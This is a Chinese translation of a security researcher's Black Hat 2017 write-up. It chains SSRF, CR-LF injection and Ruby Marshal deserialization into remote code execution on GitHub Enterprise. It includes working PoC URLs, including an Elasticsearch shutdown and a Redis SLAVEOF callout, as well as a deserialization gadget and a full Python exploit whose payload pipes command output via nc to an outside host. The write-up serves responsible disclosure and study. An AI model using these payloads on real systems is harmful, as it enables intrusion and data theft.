【BlackHat 2017 议题剖析】连接的力量：GitHub 企业版漏洞攻击链构造之旅

作者：Orange （[email protected] ）
知道创宇404实验室 独家授权翻译

过去几个月内，我花费大量时间准备 Black Hat USA 2017 和 DEF CON 25 的演讲内容。成为 Black Hat 与 DEF CON 演讲者是我一直以来的梦想。这也是我第一次在如此正式的场合发表英文演讲。真是一次难忘的经历啊 :P

在此感谢评审委员会给我这个机会。

本文主要介绍议题中的一个简单案例。案例中提及的并非是什么新技术，关键点在于如何化腐朽为神奇！感兴趣的朋友可以浏览下面链接中的 PPT 文件，其中涵盖了包括 SSRF 在内的更多新颖技术：

接下来，我就为大家展示如何将 GitHub 企业版存在的4个漏洞整合成一个远程代码执行攻击链。

这里还要炫耀一下，此项研究荣获 GitHub 第三届年度漏洞赏金计划（GitHub 3rd Bug Bounty Anniversary Promotion）最佳报告奖哦！

前言

我曾在上篇博文中谈到了 GitHub 企业版这个新目标，还演示了如何对 Ruby 代码进行反混淆处理、查找 SQL 注入。文章发布没多久，我就发现几位漏洞赏金猎人已经开始关注 GitHub 企业版并挖到许多优质漏洞，例如：

看到这些文章，挫败感顿时涌上心头，挖到漏洞的人为啥不是我 :(
痛定思痛，暗下决心，自己也要挖一个高危漏洞。
当然，要用独特的方式！

漏洞

审视 GitHub 企业版架构之前，直觉告诉我，既然 GitHub 企业版提供了这么多内部服务，进去探索一番必有收获。

于是，服务端请求伪造（SSRF）成为我的关注焦点。

Bug No.1 无害的 SSRF 漏洞

在体验 GitHub 企业版的过程中，我注意到一个名为 WebHook 的有趣功能，能通过具体 GIT 指令定义定制化 HTTP 回调。

可以根据以下 URL 创建 HTTP 回调：

https://<host>/<user>/<repo>/settings/hooks/new

提交文件触发 URL 后，收到 GitHub 企业版发送的 HTTP 请求。负载与请求如下所示：

Payload URL: 

http://orange.tw/foo.php

Callback Request: 

POST /foo.php HTTP/1.1
Host: orange.tw
Accept: */*
User-Agent: GitHub-Hookshot/54651ac
X-GitHub-Event: ping
X-GitHub-Delivery: f4c41980-e17e-11e6-8a10-c8158631728f content-type: application/x-www-form-urlencoded Content-Length: 8972 

payload=...

GitHub 企业版采用 Ruby Gem faraday 获取外部资源，以防用户通过Gem faraday-restrict-ip-addresses 发送内部服务请求。

Gem看上去像一份黑名单，可以通过RFC 3986定义的稀有IP地址格式（Rare IP Address Formats）轻松绕过。在Linux中，0 表示 localhost

PoC： 

http://0/

Ok，现在我们已经获得一个 SSRF，但由于存在某些限制，还是什么都做不了，例如：

目前唯一可控的是 Path 部分。

需注意此 SSRF 可导致拒绝服务（DoS）攻击。

9200 端口绑定了一项 Elasticsearch 服务。在使用 shutdown 命令的过程中，Elasticsearch 根本不考虑 POST 数据的具体细节。所以，不妨尽情享用 REST-ful API :P

拒绝服务（DoS）PoC：

http://0:9200/_shutdown/


Bug No.2 Graphite 内部服务 SSRF 漏洞

既然已经掌握了一个 SSRF，虽然存在诸多限制，但总该有些用处吧？ 是否存在可以利用的内网服务？

这个问题涵盖的范围可不小。首先，内网中存在几项不同的 HTTP 服务，而每项服务又采用不同的语言编写，例如C、C++、Go、Python、Ruby等。

经过几天的辛苦挖掘，我在 8000 端口找到一项名为 Graphite 的服务。这项服务拥有一个高度可扩展的实时图形系统，而 GitHub 正是通过该系统向用户展示一些数据。

Graphite 采用 Python 编写，也是一个开源项目，可以在此处下载源代码！

阅读源代码后很快找到另一个SSRF漏洞。

该漏洞位于 webapps/graphite/composer/views.py 文件，形式十分简单。

def send_email(request):
    try:
        recipients = request.GET['to'].split(',')
        url = request.GET['url']
        proto, server, path, query, frag = urlsplit(url)
        if query: path += '?' + query
        conn = HTTPConnection(server)
        conn.request('GET',path)
        resp = conn.getresponse()
        ...

可以看到，Graphite 在收到用户输入的 url 后直接进行获取。因此，我们可以使用首个 SSRF 触发第二个 SSRF，并将它们并入到 SSRF 执行链。

SSRF 执行链负载：

http://0:8000/composer/send_email?
to=orange@nogg&
url=http://orange.tw:12345/foo

第二个 SSRF 请求：

$ nc -vvlp 12345 
…

GET /foo HTTP/1.1
Host: orange.tw:12345 Accept-Encoding: identity

现在，我们将基于 POST 的 SSRF 改写为基于 GET 的 SSRF，但暂时还是什么都做不了。

接下来，进入下一个阶段！


Bug No.3 Python CR-LF 注入漏洞

可以看到，Graphite 使用 httplib.HTTPConnection 获取资源。经过若干尝试与分析，我注意到 httplib.HTTPConnection 中存在一个 CR-LF 注入。这样就可以在 HTTP 协议中嵌入恶意负载了。

CR-LF注入PoC

http://0:8000/composer/send_email?
to=orange@nogg&
url=http://127.0.0.1:12345/%0D%0Ai_am_payload%0D%0AFoo: 

$ nc -vvlp 12345 
... 

GET /
i_am_payload
Foo: HTTP/1.1
Host: 127.0.0.1:12345 
Accept-Encoding: identity

看似一小步，对于整个攻击链而言却是一个巨大的飞跃。至少可以在这个 SSRF 执行链中伪造其他协议了，例如:

如果打算采用 Redis，可以尝试使用以下负载：

http://0:8000/composer/send_email?
to=orange@nogg& 
url=http://127.0.0.1:6379/%0ASLAVEOF%20orange.tw%206379%0A

注：SLAVEOF 是一个非常好用的命令，可以用来生成出站流量，在处理 Blind-SSRF 时相当有效。

看上去很美，但在协议伪造方面仍存在一些限制，例如：

  1. 不适用于 SSH、MySQL、SSL 等握手协议；
  2. Python2 的局限性导致第二个 SSRF 中的负载仅允许使用介于 0x00 与 0x8F 之间的字节。

顺便提一下，HTTP 方案存在多种协议伪造方法。我的演讲 PPT 也介绍了如何利用 Linux Glibc 功能在 SSL SNI 中进行协议伪造，此外还提供了 Python CVE-2016-5699 漏洞绕过案例分析！

有兴趣的朋友不妨参考一下 :)


Bug No.4 危险的反序列化漏洞

现在，我们已经掌握了如何在 HTTP 协议中伪造其他协议，但问题随之而来，该伪造哪些协议呢？

经过一番周折后，终于发现在成功控制 Redis 或 Memcached 的前提下可以触发的漏洞类型。

查看代码的同时不禁产生了 GitHub 为何能够存储 Ruby 对象的疑问。进一步研究后发现 GitHub 企业版使用 Ruby Gem memcached 处理缓存并用 Marsal 包装。

这对我来说可是个天大的好消息。Marsal 的杀伤力众所周知。

（不了解这一点的朋友可以阅读@frohoff与@gebl在AppSec California 2015会议上发表的议题“Pickle 初体验：对象反序列化梦魇” / Marshalling Pickles: how deserializing objects can ruin your day）

至此，目标已经十分清晰了。

我们用 SSRF 执行链在 Memcached 中存储恶意 Ruby 对象。待到 GitHub 再次获取缓存时，Ruby Gem mecached 将自动对数据进行反序列化操作。结果可想而知……BOOM！远程代码成功执行！XD

Rails 控制台中的不安全 Marsal

irb(main):001:0> GitHub.cache.class.superclass 
=> Memcached::Rails 

irb(main):002:0> GitHub.cache.set("nogg", "hihihi") 
=> true 

irb(main):003:0> GitHub.cache.get("nogg") 
=> "hihihi" 

irb(main):004:0> GitHub.cache.get("nogg", :raw=>true) 
=> "\x04\bI\"\vhihihi\x06:\x06ET" 

irb(main):005:0> code = "`id`" 
=> "`id`" 

irb(main):006:0> payload = "\x04\x08" + "o"+":\x40ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy"+"\x07" + ":\x0E@instance" + "o"+":\x08ERB"+"\x07" + ":\x09@src" + Marshal.dump(code)[2..-1] + ":\x0c@lineno"+ "i\x00" + ":\x0C@method"+":\x0Bresult"
=> "\u0004\bo:@ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy\a:\u000E@instanceo:\bERB\a:\t@srcI\"\t`id`\u00 06:\u0006ET:\f@linenoi\u0000:\f@method:\vresult" 

irb(main):007:0> GitHub.cache.set("nogg", payload, 60, :raw=>true) 
=> true 

irb(main):008:0> GitHub.cache.get("nogg")
=> "uid=0(root) gid=0(root) groups=0(root)\n"

现在，我们不妨对上述内容做个总结！

  1. 第一个SSRF：绕过 Webhook 现有保护
  2. 第二个SSRF：Graphite 服务 SSRF
  3. 将前两个 SSRF 整合到 SSRF 执行链
  4. SSRF 执行链CR-LF注入
  5. 伪造 Memcached 协议并插入恶意 Marsal 对象
  6. 触发 RCE

SSRF 攻击链构造

完整代码可参见 Gist 与 Youtube 视频

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/usr/bin/python
from urllib import quote

''' set up the marshal payload from IRB
code = "`id | nc orange.tw 12345`"
p "\x04\x08" + "o"+":\x40ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy"+"\x07" + ":\x0E@instance" + "o"+":\x08ERB"+"\x07" + ":\x09@src" + Marshal.dump(code)[2..-1] + ":\x0c@lineno"+ "i\x00" + ":\x0C@method"+":\x0Bresult"
'''
marshal_code = '\x04\x08o:@ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy\x07:\x0e@instanceo:\x08ERB\x07:\t@srcI"\x1e`id | nc orange.tw 12345`\x06:\x06ET:\x0c@linenoi\x00:\x0c@method:\x0bresult'

payload = [
    '',
    'set githubproductionsearch/queries/code_query:857be82362ba02525cef496458ffb09cf30f6256:v3:count 0 60 %d' % len(marshal_code),
    marshal_code,
    '',
    ''
]

payload = map(quote, payload)
url = 'http://0:8000/composer/[email protected]&url=http://127.0.0.1:11211/'

print "\nGitHub Enterprise < 2.8.7 Remote Code Execution by [email protected]"
print '-'*10 + '\n'
print url + '%0D%0A'.join(payload)
print '''
Inserting WebHooks from:
https://ghe-server/:user/:repo/settings/hooks
Triggering RCE from:
https://ghe-server/search?q=ggggg&type=Repositories
'''


修复方案

为防止类似问题再次发生，GitHub 已完成多处改进！

  1. 提升 Gem faraday-restrict-ip-address 性能
  2. 用定制 Django 中间件确保攻击者无法从外部抵达路径 http://127.0.0.1:8000/render/
  3. 增强使用 User-Agent: GitHub-Hookshot 模式阻止访问路径的 iptables 规则
$ cat /etc/ufw/before.rules
...
-A ufw-before-input -m multiport -p tcp ! --dports 22,23,80,81,122,123,443,444,8080,8081,8443,8444 -m recent --tcp- flags PSH,ACK PSH,ACK --remove -m string --algo bm --string "User-Agent: GitHub-Hookshot" -j REJECT --reject-with tcp- reset
...


时间线

源链接

Hacking more

...